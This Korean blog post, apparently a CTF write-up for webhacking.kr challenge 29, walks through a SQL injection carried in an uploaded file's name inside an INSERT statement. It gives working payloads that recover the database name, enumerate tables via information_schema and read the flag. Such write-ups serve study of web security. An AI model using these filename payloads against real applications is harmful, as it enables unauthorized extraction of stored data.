파일을 올리면 time, ip, file의 이름이 뜨는 것을 볼수있다
이걸로 파일을 제출할 시
INSERT INTO 테이블 VALUES() 구문이 쓰이고
우리에게 보여지는 화면은
select time, ip, file from 테이블
구문으로 되어있는걸 추측할 수 있다
일단 파일이름으로 injection을 시도할건데
VALUES()안에서 파일이 어디에 위치하는지를 먼저 알아내야한다
경우 1(파일 이름이 첫번째에 위치하는 경우)
file, ~~, ~~
이런 경우에는
', ~~, ~~),(injection, ~~. ~~)-- -로 한다
INSERT INTO 테이블 VALUES('', ~~, ~~),(injection, ~~, ~~)-- -', ~~, ~~)
경우 2(파일 이름이 중간에 위치한 경우)
~~, file, ~~
이 경우는
', ~~),(~~, injection, ~~)-- -로 한다
INSERT INTO 테이블 VALUES(~~,'', ~~),(~~, injection, ~~)-- -', ~~)
경우 3(파일 이름이 마지막에 위치하는 경우)
~~, ~~, file
이 경우는
'),(~~, ~~,injection)-- -로 한다
INSERT INTO 테이블 VALUES(~~, ~~, ''),(~~, ~~, injection)-- -')
세 가지 경우를 다해본 결과 이번문제는 경우 1에 해당
문제에서 flag는 다른 테이블에 있다고 했다
하지만 database는 같기 때문에 먼저 database의 이름을 알아내기로한다
경우 1로 injection했을 때 파일 업로드는 성공했는데 목록에 안뜨는 경우가 있다
IP가 나의 IP와 다르면 표시되지않아 IP는 내아이피를 그대로 두어야한다
IP는 3번째에 들어간다
파일이름
GG',1, '203.241.183.7')-- -
먼저 데이터베이스 이름의 길이를 알아낸다
파일이름
GG',1, '203.241.183.7'),(length(database())=7,1, '203.241.183.7')-- -
이제 데이터베이스의 이름을 찾아낸다
파일이름
GG',1, '203.241.183.7'),(substr(database(),1,1)='c',1, '203.241.183.7')-- -
7글자에 첫 글자가 'c'
왠지 chall29일거 같음
파일명
GG',1, '203.241.183.7'),(substr(database(),1,7)='chall29',1, '203.241.183.7')-- -
이제 데이터베이스 이름을 아니까
이 데이터베이스안의 다른 테이블을 찾아야한다
information_schema.TABLES를 사용
파일명
GG',1, '203.241.183.7'),((select table_name from information_schema.tables where table_schema='chall29' limit 0,1),1, '203.241.183.7')-- -
첫번째는 files라는 테이블이 있는데 이건 지금문제에서 사용하는 테이블인것 같다
다음 테이블
파일명
GG',1, '203.241.183.7'),((select table_name from information_schema.tables where table_schema='chall29' limit 1,1),1, '203.241.183.7')-- -
이름부터 이 테이블인것 같다
이제 테이블도 알았으니까 테이블안에 있는 flag를 꺼내야한다
컬럼을 알아내야하는데 왠지 컬럼이 flag일거 같아서 바로해봄
파일명
GG',1, '203.241.183.7'),((select flag from flag_congratz),1, '203.241.183.7')-- -
풀고나니까 이걸 왜케 헤맸는지 모르겠다 ㅅㅂ
'Wargame, CTF > webhacking.kr' 카테고리의 다른 글
Webhacking.kr 8번 (0) | 2019.12.27 |
---|---|
Webhacking.kr 55번 (0) | 2019.12.27 |
Webhacking.kr 53번 (0) | 2019.12.13 |
Webhacking.kr 35번 (0) | 2019.12.11 |
Webhacking.kr 49번 (0) | 2019.12.09 |